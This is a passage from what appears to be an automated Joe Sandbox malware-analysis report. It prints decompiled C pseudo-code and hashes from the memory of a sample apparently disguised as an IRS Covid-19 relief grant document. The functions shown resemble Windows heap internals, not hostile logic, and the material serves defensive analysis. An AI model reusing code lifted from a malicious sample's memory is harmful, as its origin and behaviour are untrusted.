								if(_t69 >= 0) {
									_t71 = _t69 >> 0x00000010 & 0x00007fff;
									__eflags = _t71;
									if(_t71 == 0) {
										L36:
										_t72 = 0;
										__eflags = 0;
										L37:
										_t139 = _t137 - (_t72 << 0x0000000c) & 0xfffff000;
										__eflags = (0x0000abed ^  *((_t137 - (_t72 << 0x0000000c) & 0xfffff000) + 0x16)) -  *((intOrPtr*)((_t137 - (_t72 << 0x0000000c) & 0xfffff000) + 0x14));
										if(__eflags == 0) {
											_t77 = E1E3325DD(_t147, _t139, __eflags, _t116, _v28, _a8,  &_v5);
											__eflags = _t77;
											if(_t77 == 0) {
												L39:
												_t148 = 0;
												__eflags = _v12;
												if(_v12 != 0) {
													L42:
													return _t148;
												}
												E1E27FFB0(_t116, _t145, _v20);
												L41:
												_t148 = 0;
												__eflags = 0;
												goto L42;
											}
											_t46 = _t116 + 8; // 0x4
											_t148 = _t46;
											_t140 = (( *_t116 ^  *0x1e356110 ^ _t116) >> 0x00000001 & 0x00007fff) * 8 - 8;
											_t85 = _v20;
											__eflags =  *(_t85 + 0x38) & 0x00000001;
											if(( *(_t85 + 0x38) & 0x00000001) != 0) {
												_t118 = _t116 + 0x10;
												__eflags = _t118 & 0x00000fff;
												if((_t118 & 0x00000fff) == 0) {
													_t148 = _t118;
													_t140 = _t140 - 8;
													__eflags = _t140;
												}
											}
											_t117 = _v40;
											_t124 =  *_t145;
											__eflags = _t117 - _t140;
											if(_t117 >= _t140) {
												_t125 = _t124 & 0xfffffeff;
												__eflags = _t125;
												 *_t145 = _t125;
											} else {
												_t126 = _t124 | 0x00000100;
												_push(_t126);
												 *_t145 = _t126;
												E1E332506(_t148, _t140, _t140 - _t117);
												_t85 = _v20;
											}
											__eflags = _v12;
											if(_v12 == 0) {
												E1E27FFB0(_t117, _t145, _t85);
											}
											__eflags = _a8 & 0x00000002;
											if((_a8 & 0x00000002) != 0) {
												E1E2AFA60(_t148, 0, _t117);
											}
											goto L42;
										}
										_push(_t122);
										_push(0);
										E1E32A80D( *((intOrPtr*)(_t147 + 0x20)), 0x12, _t139, _t116);
										goto L39;
									}
									_t137 = _t116 - (_t71 << 3);
									_t95 =  *_t137 ^ _t122 ^ _t137;
									__eflags = _t95;
									if(_t95 < 0) {
										L34:
										_t98 =  *(_t137 + 4) ^ _t122 ^ _t137;
										__eflags = _t98;
										L35:
										_t72 = _t98 & 0x000000ff;
										goto L37;
									}
									_t100 = _t95 >> 0x00000010 & 0x00007fff;
									__eflags = _t100;
									if(_t100 == 0) {
										goto L36;
									}
									_t137 = _t137 + _t100 * 0xfffffff8;
									__eflags = _t137;
									goto L34;
								}
								_t98 =  *_t145 ^ _t122 ^ _t116;
								goto L35;
							}
							if(_t136 == 0) {
								E1E27FFB0(_t115, _t145, _t147);
							}
							_t104 = E1E333149(_t147, _t115, _a8);
							_t146 = _t104;
							if(_t104 == 0) {
								goto L41;
							} else {
								if(_v12 == 0) {
									E1E282280(_t104, _t147);
								}
								_v5 = 0xff;
								E1E332876(_t147, _t146);
								_t136 = _v12;
								goto L7;
							}
						}
						_t113 =  *(_t145 + 4);
						if(_v24 == 0 || _t113 == 0) {
							_t121 = _v16;
							goto L15;
						} else {
							_t121 = _v16;
							_t145 = _t145 ^ _t113;
						}
						L16:
					} while (_t145 != 0);
					L17:
					_t145 = _t121;
					goto L18;
				}
			}

0x1e3328f5
0x1e3328fa
0x1e3328fe
0x1e332900
0x1e332906
0x1e332908
0x1e332908
0x1e33290e
0x1e332915
0x1e332918
0x1e33291b
0x1e33291d
0x1e332920
0x1e332920
0x1e332929
0x1e33292c
0x1e33292f
0x1e332932
0x1e332935
0x1e332938
0x1e33293d
0x1e33293d
0x1e332940
0x1e332944
0x1e332944
0x1e332948
0x1e33294a
0x1e332950
0x1e332953
0x1e332958
0x00000000
0x00000000
0x1e33295a
0x1e332962
0x1e332965
0x1e332976
0x1e332978
0x1e3329e0
0x1e3329e4
0x1e3329e6
0x1e3329e8
0x1e3329eb
0x1e332993
0x1e332993
0x00000000
0x1e332993
0x1e3329ed
0x1e3329ef
0x00000000
0x00000000
0x1e3329f1
0x00000000
0x1e3329f1
0x1e33297a
0x1e33299b
0x1e33299d
0x1e3329f5
0x1e3329fb
0x1e3329fb
0x1e332a00
0x1e332a04
0x1e332a04
0x1e332a06
0x1e332a13
0x1e332a13
0x1e332a18
0x1e332a44
0x1e332a44
0x1e332a44
0x1e332a46
0x1e332a50
0x1e332a5a
0x1e332a5e
0x1e332a99
0x1e332a9e
0x1e332aa0
0x1e332a70
0x1e332a70
0x1e332a72
0x1e332a75
0x1e332a82
0x1e332a89
0x1e332a89
0x1e332a7a
0x1e332a7f
0x1e332a7f
0x1e332a7f
0x00000000
0x1e332a7f
0x1e332aa4
0x1e332aa4
0x1e332ab6
0x1e332abd
0x1e332ac0
0x1e332ac4
0x1e332ac6
0x1e332ac9
0x1e332acf
0x1e332ad1
0x1e332ad3
0x1e332ad3
0x1e332ad3
0x1e332acf
0x1e332ad6
0x1e332ad9
0x1e332adb
0x1e332add
0x1e332af9
0x1e332af9
0x1e332aff
0x1e332adf
0x1e332adf
0x1e332ae7
0x1e332aea
0x1e332aef
0x1e332af4
0x1e332af4
0x1e332b01
0x1e332b05
0x1e332b08
0x1e332b08
0x1e332b0d
0x1e332b11
0x1e332b1b
0x1e332b20
0x00000000
0x1e332b11
0x1e332a60
0x1e332a61
0x1e332a6b
0x00000000
0x1e332a6b
0x1e332a1f
0x1e332a25
0x1e332a25
0x1e332a27
0x1e332a38
0x1e332a3d
0x1e332a3d
0x1e332a3f
0x1e332a3f
0x00000000
0x1e332a3f
0x1e332a2c
0x1e332a2c
0x1e332a31
0x00000000
0x00000000
0x1e332a36
0x1e332a36
0x00000000
0x1e332a36
0x1e332a0c
0x00000000
0x1e332a0c
0x1e3329a1
0x1e3329a4
0x1e3329a4
0x1e3329b0
0x1e3329b5
0x1e3329b9
0x00000000
0x1e3329bf
0x1e3329c3
0x1e3329c6
0x1e3329c6
0x1e3329cd
0x1e3329d3
0x1e3329d8
0x00000000
0x1e3329d8
0x1e3329b9
0x1e332980
0x1e332983
0x1e332990
0x00000000
0x1e332989
0x1e332989
0x1e33298c
0x1e33298c
0x1e332995
0x1e332995
0x1e332999
0x1e332999
0x00000000
0x1e332999

Memory Dump Source

Source File: 00000001.00000002.621265468.000000001E240000.00000040.00000001.sdmp, Offset: 1E240000, based on PE: true

Associated: 00000001.00000002.621506130.000000001E35B000.00000040.00000001.sdmp Download File
Associated: 00000001.00000002.621518286.000000001E35F000.00000040.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e240000_IRS_Covid_19_Relief_Grant_Document_docx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 06fa9cbb9783d5bc949732c21a8d03fa63fb58aba628c9b980c373d7c6f7f6bb
Instruction ID: 54cbfc19e25adbfae40fa5da9afa253f6de156f508d38e544f28810f2937aadc
Opcode Fuzzy Hash: 06fa9cbb9783d5bc949732c21a8d03fa63fb58aba628c9b980c373d7c6f7f6bb
Instruction Fuzzy Hash: E271F635E1014A9BCB04CF69C890E6EB7F7EF48B12F218B69D814D7284DB34EA41C790

Uniqueness

Uniqueness Score: -1.00%

Function 1E321002, Relevance: .2, Instructions: 198
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E1E321002(intOrPtr __ecx, void* __edx) {
				signed int _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				signed int _v20;
				signed int _t75;
				intOrPtr* _t76;
				signed int _t77;
				signed short _t78;
				signed short _t80;
				signed int _t81;
				signed short _t82;
				signed short _t83;
				signed short _t85;
				signed int _t86;
				void* _t90;
				signed short _t91;
				signed int _t95;
				signed short _t97;
				signed short _t99;
				intOrPtr* _t101;
				signed short _t102;
				signed int _t103;
				signed short _t105;
				intOrPtr _t106;
				signed int* _t108;
				signed short _t109;
				signed short _t111;
				signed short _t112;
				signed int _t113;
				signed short _t117;
				signed int _t120;
				void* _t121;
				signed int _t122;
				signed int _t126;
				signed int* _t127;
				signed short _t128;
				intOrPtr _t129;
				intOrPtr _t130;
				signed int _t132;
				signed int _t133;

				_t121 = __edx;
				_t130 = __ecx;
				_v16 = __ecx;
				_t108 = __ecx + 0xa4;
				_t75 =  *_t108;
				L4:
				L4:
				if(_t75 != _t108) {
					goto L1;
				} else {
					_t127 = _t130 + 0x9c;
					_t120 =  *_t127;
				}
				while(_t120 != _t127) {
					_t132 = _t120 & 0xffff0000;
					__eflags = _t132 - _t121;
					if(_t132 <= _t121) {
						_t75 =  *((intOrPtr*)(_t120 + 0x14)) + _t132;
						__eflags = _t75 - _t121;
						if(_t75 > _t121) {
							 *0x1e355898 = 5;
						}
					}
					_t120 =  *_t120;
				}
				L68:
				return _t75;
				L1:
				_t3 = _t75 - 0x10; // -16
				_t126 = _t3;
				_v20 = _t126;
				__eflags =  *((intOrPtr*)(_t126 + 0x1c)) - _t121;
				if( *((intOrPtr*)(_t126 + 0x1c)) > _t121) {
					L3:
					_t75 =  *_t75;
					goto L4;
				}
				__eflags =  *((intOrPtr*)(_t126 + 0x28)) - _t121;
				if( *((intOrPtr*)(_t126 + 0x28)) > _t121) {
					_t8 = _t126 + 0x38; // 0x28
					_t101 = _t8;
					_t109 = 0;
					_v8 = _v8 & 0;
					_t76 =  *_t101;
					_v12 = _t101;
					__eflags = _t76 - _t101;
					if(_t76 == _t101) {
						L17:
						_t102 = 0;
						_v20 = 0;
						__eflags = _t109;
						if(_t109 == 0) {
							_t109 = _t126;
						}
						_t128 = 0;
						__eflags = _t109 - _t121;
						if(_t109 >= _t121) {
							L29:
							_t111 = _v8 + 0xfffffff8;
							__eflags = _t111 - _t121;
							if(_t111 <= _t121) {
								L33:
								 *0x1e3558b0 = _t128;
								 *0x1e3558b4 = _t102;
								__eflags = _t128;
								if(_t128 == 0) {
									L42:
									__eflags =  *(_t130 + 0x4c);
									if( *(_t130 + 0x4c) == 0) {
										_t77 =  *_t128 & 0x0000ffff;
										_t112 = 0;
										__eflags = 0;
									} else {
										_t85 =  *_t128;
										_t112 =  *(_t130 + 0x4c);
										__eflags = _t85 & _t112;
										if((_t85 & _t112) != 0) {
											_t85 = _t85 ^  *(_t130 + 0x50);
											__eflags = _t85;
										}
										_t77 = _t85 & 0x0000ffff;
									}
									_v8 = _t77;
									__eflags = _t102;
									if(_t102 != 0) {
										_t117 =  *(_t102 + 4) & 0x0000ffff ^  *(_t130 + 0x54) & 0x0000ffff;
										__eflags = _t117;
										 *0x1e3558b8 = _t117;
										_t112 =  *(_t130 + 0x4c);
									}
									__eflags = _t112;
									if(_t112 == 0) {
										_t78 =  *_t128 & 0x0000ffff;
									} else {
										_t83 =  *_t128;
										__eflags =  *(_t130 + 0x4c) & _t83;
										if(( *(_t130 + 0x4c) & _t83) != 0) {
											_t83 = _t83 ^  *(_t130 + 0x50);
											__eflags = _t83;
										}
										_t78 = _t83 & 0x0000ffff;
									}
									_t122 = _t78 & 0x0000ffff;
									 *0x1e3558bc = _t122;
									__eflags =  *(_t130 + 0x4c);
									_t113 = _v8 & 0x0000ffff;
									if( *(_t130 + 0x4c) == 0) {
										_t80 =  *(_t128 + _t113 * 8) & 0x0000ffff;
									} else {
										_t82 =  *(_t128 + _t113 * 8);
										__eflags =  *(_t130 + 0x4c) & _t82;
										if(( *(_t130 + 0x4c) & _t82) != 0) {
											_t82 = _t82 ^  *(_t130 + 0x50);
											__eflags = _t82;
										}
										_t122 =  *0x1e3558bc; // 0x0
										_t80 = _t82 & 0x0000ffff;
									}
									_t81 = _t80 & 0x0000ffff;
									__eflags =  *0x1e3558b8 - _t81; // 0x0
									if(__eflags == 0) {
										_t75 =  *(_t130 + 0x54) & 0x0000ffff;
										__eflags = _t122 - ( *(_t128 + 4 + _t113 * 8) & 0x0000ffff ^ _t75);
										if(_t122 == ( *(_t128 + 4 + _t113 * 8) & 0x0000ffff ^ _t75)) {
											goto L68;
										}
										 *0x1e355898 = 7;
										return _t75;
									} else {
										 *0x1e355898 = 6;
										return _t81;
									}
								}
								__eflags = _t102;
								if(_t102 == 0) {
									goto L42;
								}
								__eflags =  *(_t130 + 0x4c);
								if( *(_t130 + 0x4c) == 0) {
									_t86 =  *_t128 & 0x0000ffff;
								} else {
									_t91 =  *_t128;
									__eflags =  *(_t130 + 0x4c) & _t91;
									if(( *(_t130 + 0x4c) & _t91) != 0) {
										_t91 = _t91 ^  *(_t130 + 0x50);
										__eflags = _t91;
									}
									_t86 = _t91 & 0x0000ffff;
								}
								_v8 = _t86;
								_t90 = _t128 + (_v8 & 0x0000ffff) * 8;
								__eflags = _t90 - _t102 - (( *(_t102 + 4) & 0x0000ffff ^  *(_t130 + 0x54) & 0x0000ffff) << 3);
								if(_t90 == _t102 - (( *(_t102 + 4) & 0x0000ffff ^  *(_t130 + 0x54) & 0x0000ffff) << 3)) {
									goto L42;
								} else {
									 *0x1e355898 = 4;
									return _t90;
								}
							}
							_v20 =  *(_t130 + 0x54) & 0x0000ffff;
							while(1) {
								_t102 = _t111;
								_t95 = ( *(_t111 + 4) ^ _v20) & 0x0000ffff;
								__eflags = _t95;
								if(_t95 == 0) {
									goto L33;
								}
								_t111 = _t111 + _t95 * 0xfffffff8;
								__eflags = _t111 - _t121;
								if(_t111 > _t121) {
									continue;
								}
								goto L33;
							}
							goto L33;
						} else {
							_t103 =  *(_t130 + 0x4c);
							while(1) {
								_t128 = _t109;
								__eflags = _t103;
								if(_t103 == 0) {
									_t97 =  *_t109 & 0x0000ffff;
								} else {
									_t99 =  *_t109;
									_t103 =  *(_t130 + 0x4c);
									__eflags = _t99 & _t103;
									if((_t99 & _t103) != 0) {
										_t99 = _t99 ^  *(_t130 + 0x50);
										__eflags = _t99;
									}
									_t97 = _t99 & 0x0000ffff;
								}
								__eflags = _t97;
								if(_t97 == 0) {
									break;
								}
								_t109 = _t109 + (_t97 & 0x0000ffff) * 8;
								__eflags = _t109 - _t121;
								if(_t109 < _t121) {
									continue;
								}
								break;
							}
							_t102 = _v20;
							goto L29;
						}
					}
					_t133 = _v8;
					do {
						_t105 =  *((intOrPtr*)(_t76 + 0xc)) +  *((intOrPtr*)(_t76 + 8));
						_t129 = _v12;
						__eflags = _t105 - _t121;
						if(_t105 < _t121) {
							__eflags = _t105 - _t109;
							if(_t105 > _t109) {
								_t109 = _t105;
							}
						}
						_t106 =  *((intOrPtr*)(_t76 + 8));
						__eflags = _t106 - _t121;
						if(_t106 > _t121) {
							__eflags = _t133;
							if(_t133 == 0) {
								L14:
								_t18 = _t76 - 8; // -8
								_t133 = _t18;
								goto L15;
							}
							__eflags = _t106 -  *((intOrPtr*)(_t133 + 0x10));
							if(_t106 >=  *((intOrPtr*)(_t133 + 0x10))) {
								goto L15;
							}
							goto L14;
						}
						L15:
						_t76 =  *_t76;
						__eflags = _t76 - _t129;
					} while (_t76 != _t129);
					_t126 = _v20;
					_v8 = _t133;
					_t130 = _v16;
					goto L17;
				}
				goto L3;
			}

0x1e321002
0x1e32100c
0x1e32100f
0x1e321012
0x1e321018
0x00000000
0x1e32102e
0x1e321030
0x00000000
0x1e321032
0x1e321032
0x1e321038
0x1e321038
0x1e32121e
0x1e3211ff
0x1e321205
0x1e321207
0x1e32120c
0x1e32120e
0x1e321210
0x1e321212
0x1e321212
0x1e321210
0x1e32121c
0x1e32121c
0x1e321228
0x1e321228
0x1e32101c
0x1e32101c
0x1e32101c
0x1e32101f
0x1e321022
0x1e321025
0x1e32102c
0x1e32102c
0x00000000
0x1e32102c
0x1e321027
0x1e32102a
0x1e32103f
0x1e32103f
0x1e321042
0x1e321044
0x1e321047
0x1e321049
0x1e32104c
0x1e32104e
0x1e321088
0x1e321088
0x1e32108a
0x1e32108d
0x1e32108f
0x1e321091
0x1e321091
0x1e321093
0x1e321095
0x1e321097
0x1e3210c8
0x1e3210cb
0x1e3210ce
0x1e3210d0
0x1e3210f4
0x1e3210f4
0x1e3210fa
0x1e321100
0x1e321102
0x1e321150
0x1e321150
0x1e321154
0x1e321167
0x1e32116a
0x1e32116a
0x1e321156
0x1e321156
0x1e321158
0x1e32115b
0x1e32115d
0x1e32115f
0x1e32115f
0x1e32115f
0x1e321162
0x1e321162
0x1e32116c
0x1e32116f
0x1e321171
0x1e32117b
0x1e32117b
0x1e32117d
0x1e321183
0x1e321183
0x1e321186
0x1e321188
0x1e321199
0x1e32118a
0x1e32118a
0x1e32118c
0x1e32118f
0x1e321191
0x1e321191
0x1e321191
0x1e321194
0x1e321194
0x1e32119c
0x1e3211a2
0x1e3211a8
0x1e3211ac
0x1e3211af
0x1e3211c7
0x1e3211b1
0x1e3211b1
0x1e3211b4
0x1e3211b7
0x1e3211b9
0x1e3211b9
0x1e3211b9
0x1e3211bc
0x1e3211c2
0x1e3211c2
0x1e3211cb
0x1e3211ce
0x1e3211d4
0x1e3211e7
0x1e3211ed
0x1e3211ef
0x00000000
0x00000000
0x1e3211f1
0x00000000
0x1e3211d6
0x1e3211d6
0x00000000
0x1e3211d6
0x1e3211d4
0x1e321104
0x1e321106
0x00000000
0x00000000
0x1e321108
0x1e32110c
0x1e32111d
0x1e32110e
0x1e32110e
0x1e321110
0x1e321113
0x1e321115
0x1e321115
0x1e321115
0x1e321118
0x1e321118
0x1e321126
0x1e32113a
0x1e32113d
0x1e32113f
0x00000000
0x1e321141
0x1e321141
0x00000000
0x1e321141
0x1e32113f
0x1e3210d6
0x1e3210d9
0x1e3210dd
0x1e3210e3
0x1e3210e6
0x1e3210e9
0x00000000
0x00000000
0x1e3210ee
0x1e3210f0
0x1e3210f2
0x00000000
0x00000000
0x00000000
0x1e3210f2
0x00000000
0x1e321099
0x1e321099
0x1e32109c
0x1e32109c
0x1e32109e
0x1e3210a0
0x1e3210b3
0x1e3210a2
0x1e3210a2
0x1e3210a4
0x1e3210a7
0x1e3210a9
0x1e3210ab
0x1e3210ab
0x1e3210ab
0x1e3210ae
0x1e3210ae
0x1e3210b6
0x1e3210b9
0x00000000
0x00000000
0x1e3210be
0x1e3210c1
0x1e3210c3
0x00000000
0x00000000
0x00000000
0x1e3210c3
0x1e3210c5
0x00000000
0x1e3210c5
0x1e321097
0x1e321050
0x1e321053
0x1e321056
0x1e321059
0x1e32105c
0x1e32105e
0x1e321060
0x1e321062
0x1e321064
0x1e321064
0x1e321062
0x1e321066
0x1e321069
0x1e32106b
0x1e32106d
0x1e32106f
0x1e321076
0x1e321076
0x1e321076
0x00000000
0x1e321076
0x1e321071
0x1e321074
0x00000000
0x00000000
0x00000000
0x1e321074
0x1e321079
0x1e321079
0x1e32107b
0x1e32107b
0x1e32107f
0x1e321082
0x1e321085
0x00000000
0x1e321085
0x00000000

Memory Dump Source

Source File: 00000001.00000002.621265468.000000001E240000.00000040.00000001.sdmp, Offset: 1E240000, based on PE: true

Associated: 00000001.00000002.621506130.000000001E35B000.00000040.00000001.sdmp Download File
Associated: 00000001.00000002.621518286.000000001E35F000.00000040.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e240000_IRS_Covid_19_Relief_Grant_Document_docx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a642738d9fbcecefd847955064d1b6c50e8d51196c200c6aea868425145e75dc
Instruction ID: 29cc81401ed5516b6297f4d4495424639f9e7fa6e5dcd44eb073b8af93e9d1e9
Opcode Fuzzy Hash: a642738d9fbcecefd847955064d1b6c50e8d51196c200c6aea868425145e75dc
Instruction Fuzzy Hash: 05717A38A00763DBCB14CF56D69067AB3F6FF44600BA187BEE9C68B680D771A950DB50

Uniqueness

Uniqueness Score: -1.00%

Function 1E332B28, Relevance: .1, Instructions: 129
COMMONCrypto

Download Yara Rule

C-Code - Quality: 92%

			E1E332B28(signed int __ecx, signed int __edx, signed int _a4, signed int _a8, intOrPtr* _a12) {
				char _v5;
				signed int _v12;
				signed int _v16;
				void* __ebx;
				void* __edi;
				signed int _t30;
				signed int _t35;
				unsigned int _t50;
				signed int _t52;
				signed int _t53;
				unsigned int _t58;
				signed int _t61;
				signed int _t63;
				signed int _t67;
				signed int _t69;
				intOrPtr _t75;
				signed int _t81;
				signed int _t87;
				void* _t88;
				signed int _t90;
				signed int _t93;

				_t69 = __ecx;
				_t30 = _a4;
				_t90 = __edx;
				_t81 = __ecx;
				_v12 = __ecx;
				_t87 = _t30 - 8;
				if(( *(__ecx + 0x38) & 0x00000001) != 0 && (_t30 & 0x00000fff) == 0) {
					_t87 = _t87 - 8;
				}
				_t67 = 0;
				if(_t90 != 0) {
					L14:
					if((0x0000abed ^  *(_t90 + 0x16)) ==  *((intOrPtr*)(_t90 + 0x14))) {
						_t75 = (( *_t87 ^  *0x1e356110 ^ _t87) >> 0x00000001 & 0x00007fff) * 8 - 8;
						 *_a12 = _t75;
						_t35 = _a8 & 0x00000001;
						_v16 = _t35;
						if(_t35 == 0) {
							E1E282280(_t35, _t81);
							_t81 = _v12;
						}
						_v5 = 0xff;
						if(( *_t87 ^  *0x1e356110 ^ _t87) < 0) {
							_t91 = _v12;
							_t88 = E1E33241A(_v12, _t90, _t87, _a8,  &_v5);
							if(_v16 == _t67) {
								E1E27FFB0(_t67, _t88, _t91);
							}
							if(_t88 != 0) {
								E1E333209(_t91, _t88, _a8);
							}
							_t67 = 1;
						} else {
							_push(_t75);
							_push(_t67);
							E1E32A80D( *((intOrPtr*)(_t81 + 0x20)), 8, _a4, _t87);
							if(_v16 == _t67) {
								E1E27FFB0(_t67, _t87, _v12);
							}
						}
					} else {
						_push(_t69);
						_push(_t67);
						E1E32A80D( *((intOrPtr*)(_t81 + 0x20)), 0x12, _t90, _t67);
					}
					return _t67;
				}
				_t69 =  *0x1e356110; // 0x3c48ecc
				_t93 = _t87;
				_t50 = _t69 ^ _t87 ^  *_t87;
				if(_t50 >= 0) {
					_t52 = _t50 >> 0x00000010 & 0x00007fff;
					if(_t52 == 0) {
						L12:
						_t53 = _t67;
						L13:
						_t90 = _t93 - (_t53 << 0x0000000c) & 0xfffff000;
						goto L14;
					}
					_t93 = _t87 - (_t52 << 3);
					_t58 =  *_t93 ^ _t69 ^ _t93;
					if(_t58 < 0) {
						L10:
						_t61 =  *(_t93 + 4) ^ _t69 ^ _t93;
						L11:
						_t53 = _t61 & 0x000000ff;
						goto L13;
					}
					_t63 = _t58 >> 0x00000010 & 0x00007fff;
					if(_t63 == 0) {
						goto L12;
					}
					_t93 = _t93 + _t63 * 0xfffffff8;
					goto L10;
				}
				_t61 =  *(_t87 + 4) ^ _t69 ^ _t87;
				goto L11;
			}

0x1e332b28
0x1e332b30
0x1e332b35
0x1e332b37
0x1e332b3a
0x1e332b3d
0x1e332b44
0x1e332b4d
0x1e332b4d
0x1e332b50
0x1e332b54
0x1e332bb0
0x1e332bbd
0x1e332be8
0x1e332bef
0x1e332bf4
0x1e332bf7
0x1e332bfa
0x1e332bfd
0x1e332c02
0x1e332c02
0x1e332c0f
0x1e332c13
0x1e332c3b
0x1e332c4a
0x1e332c4f
0x1e332c52
0x1e332c52
0x1e332c59
0x1e332c62
0x1e332c62
0x1e332c69
0x1e332c15
0x1e332c18
0x1e332c19
0x1e332c21
0x1e332c29
0x1e332c2f
0x1e332c2f
0x1e332c29
0x1e332bbf
0x1e332bc2
0x1e332bc3
0x1e332bc9
0x1e332bc9
0x1e332c72
0x1e332c72
0x1e332b56
0x1e332b5c
0x1e332b62
0x1e332b64
0x1e332b72
0x1e332b77
0x1e332ba3
0x1e332ba3
0x1e332ba5
0x1e332baa
0x00000000
0x1e332baa
0x1e332b7e
0x1e332b84
0x1e332b86
0x1e332b97
0x1e332b9c
0x1e332b9e
0x1e332b9e
0x00000000
0x1e332b9e
0x1e332b8b
0x1e332b90
0x00000000
0x00000000
0x1e332b95
0x00000000
0x1e332b95
0x1e332b6b
0x00000000

Memory Dump Source

Source File: 00000001.00000002.621265468.000000001E240000.00000040.00000001.sdmp, Offset: 1E240000, based on PE: true

Associated: 00000001.00000002.621506130.000000001E35B000.00000040.00000001.sdmp Download File
Associated: 00000001.00000002.621518286.000000001E35F000.00000040.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e240000_IRS_Covid_19_Relief_Grant_Document_docx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b530446447f8cb0516078be24308f2a21a38cb22bb6de072c86af8d7d0355bbb
Instruction ID: 5cabf671695581df7c9e52b0bf45b610f076c9302a4d43a14e3964fa8ec189df
Opcode Fuzzy Hash: b530446447f8cb0516078be24308f2a21a38cb22bb6de072c86af8d7d0355bbb
Instruction Fuzzy Hash: 84412A77B101155FD314CF29C890D6BB7ADEF88A21B258B69E865C7380D734ED02C790

Uniqueness

Uniqueness Score: -1.00%

Function 1E3322AE, Relevance: .1, Instructions: 116
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E1E3322AE(unsigned int* __ecx, intOrPtr __edx, void* __eflags, signed int _a4, signed int _a8, char* _a12) {
				signed int _v8;
				signed int _v12;
				signed char _v16;
				signed int _v20;
				intOrPtr _v24;
				intOrPtr _v36;
				void* __ebx;
				void* __edi;
				signed char _t50;
				signed int _t53;
				signed char _t63;
				signed char _t71;
				signed char _t75;
				signed int _t77;
				unsigned int _t106;
				unsigned int* _t114;
				signed int _t117;

				_v20 = _v20 & 0x00000000;
				_t117 = _a4;
				_t114 = __ecx;
				_v24 = __edx;
				E1E3321E8(_t117, __edx,  &_v16,  &_v12);
				if(_v24 != 0 && (_v12 | _v8) != 0) {
					_t71 =  !_v8;
					_v16 =  !_v12 >> 8 >> 8;
					_t72 = _t71 >> 8;
					_t50 = _v16;
					_t20 = (_t50 >> 8) + 0x1e24ac00; // 0x6070708
					_t75 = ( *((intOrPtr*)((_t71 >> 8 >> 8 >> 8) + 0x1e24ac00)) +  *((intOrPtr*)((_t71 >> 0x00000008 >> 0x00000008 & 0x000000ff) + 0x1e24ac00)) +  *((intOrPtr*)((_t71 & 0x000000ff) + 0x1e24ac00)) +  *((intOrPtr*)((_t72 & 0x000000ff) + 0x1e24ac00)) & 0x000000ff) + ( *_t20 +  *((intOrPtr*)((_t50 & 0x000000ff) + 0x1e24ac00)) +  *((intOrPtr*)((_t71 & 0x000000ff) + 0x1e24ac00)) +  *((intOrPtr*)((_t72 & 0x000000ff) + 0x1e24ac00)) & 0x000000ff);
					_v16 = _t75;
					if(( *(__ecx + 0x38) & 0x00000002) != 0) {
						L6:
						_t53 =  *0x1e356110; // 0x3c48ecc
						 *_t117 = ( !_t53 ^  *_t117 ^ _t117) & 0x7fffffff ^  !_t53 ^ _t117;
						 *(_t117 + 4) = (_t117 - _v24 >> 0x0000000c ^  *0x1e356110 ^ _t117) & 0x000000ff | 0x00000200;
						_t77 = _a8 & 0x00000001;
						if(_t77 == 0) {
							E1E27FFB0(_t77, _t114, _t114);
						}
						_t63 = E1E332FBD(_t114, _v24, _v12, _v8, _v16, 0);
						_v36 = 1;
						if(_t77 == 0) {
							E1E282280(_t63, _t114);
						}
						 *(_t117 + 4) =  *(_t117 + 4) & 0xfffffdff;
						 *_a12 = 0xff;
					} else {
						_t106 =  *(__ecx + 0x18) >> 7;
						if(_t106 <= 8) {
							_t106 = 8;
						}
						if( *((intOrPtr*)(_t114 + 0x1c)) + _t75 > _t106) {
							goto L6;
						}
					}
				}
				return _v20;
			}

0x1e3322b9
0x1e3322c2
0x1e3322c6
0x1e3322c8
0x1e3322d8
0x1e3322e2
0x1e332303
0x1e332314
0x1e332321
0x1e33234a
0x1e33235b
0x1e33236c
0x1e332372
0x1e332376
0x1e33238f
0x1e33238f
0x1e3323b4
0x1e3323c6
0x1e3323c9
0x1e3323cc
0x1e3323cf
0x1e3323cf
0x1e3323e9
0x1e3323ee
0x1e3323f8
0x1e3323fb
0x1e3323fb
0x1e332403
0x1e33240a
0x1e332378
0x1e33237b
0x1e332381
0x1e332385
0x1e332385
0x1e33238d
0x00000000
0x00000000
0x1e33238d
0x1e332376
0x1e332417

Memory Dump Source

Source File: 00000001.00000002.621265468.000000001E240000.00000040.00000001.sdmp, Offset: 1E240000, based on PE: true

Associated: 00000001.00000002.621506130.000000001E35B000.00000040.00000001.sdmp Download File
Associated: 00000001.00000002.621518286.000000001E35F000.00000040.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e240000_IRS_Covid_19_Relief_Grant_Document_docx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 15a5128cc662cc0e1aac09e73ec73c03e6e3e6fbae132a2dddf5deb0b35e0e3c
Instruction ID: f89fe40c9c534ff24f55a8249d56362b2c9e75a9bea6828f7c3aaec4486df9f3
Opcode Fuzzy Hash: 15a5128cc662cc0e1aac09e73ec73c03e6e3e6fbae132a2dddf5deb0b35e0e3c
Instruction Fuzzy Hash: 5841C1712083428BD308CF29D8A1D7ABBE1EF85626F11475DF4D29B2C2DB34D859CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 1E3320A8, Relevance: .1, Instructions: 114
COMMONCrypto

Download Yara Rule

C-Code - Quality: 94%

			E1E3320A8(intOrPtr __ecx, intOrPtr __edx, signed int _a4, signed int* _a8) {
				intOrPtr _v8;
				intOrPtr _v12;
				signed int _v16;
				signed int _v20;
				signed int _t35;
				signed int _t57;
				unsigned int _t61;
				signed int _t63;
				signed int _t64;
				signed int _t73;
				signed int _t77;
				signed int _t80;
				signed int _t83;
				signed int _t84;
				unsigned int _t92;
				unsigned int _t97;
				signed int _t100;
				unsigned int _t102;

				_t79 = __edx;
				_t35 =  *0x1e356110; // 0x3c48ecc
				_t57 = _a4;
				_v8 = __ecx;
				_t84 =  *_t57;
				_v12 = __edx;
